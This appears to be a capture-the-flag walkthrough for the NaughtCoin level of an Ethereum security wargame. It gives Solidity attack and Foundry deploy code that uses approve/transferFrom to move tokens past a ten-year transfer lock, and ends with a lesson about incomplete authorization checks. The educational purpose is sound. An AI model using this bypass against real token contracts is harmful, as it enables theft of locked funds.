NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
make anvil-exploit-level-15
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-15
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level15.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
// ================================================================
// │ LEVEL 15 - NAUGHT COIN │
// ================================================================
interface ERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract AttackContract {
address targetContractAddress;
constructor(address _targetContractAddress) {
targetContractAddress = _targetContractAddress;
}
function attack() public {
uint256 allowance = ERC20(targetContractAddress).allowance(msg.sender, address(this));
// Transfer all tokens to this contract address
ERC20(targetContractAddress).transferFrom(msg.sender, address(this), allowance);
}
}
script/Level15.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {AttackContract} from "../src/Level15.sol";
// ================================================================
// │ LEVEL 15 - NAUGHT COIN │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
new AttackContract(targetContractAddress);
vm.stopBroadcast();
}
}
Submit instance... 🥳
Completion Message
When using code that's not your own, it's a good idea to familiarize yourself with it to get a good understanding of how everything fits together. This can be particularly important when there are multiple levels of imports (your imports have imports) or when you are implementing authorization controls, e.g. when you're allowing or disallowing people from doing things. In this example, a developer might scan through the code and think that transfer is the only way to move tokens around, low and behold there are other ways of performing the same operation with a different implementation.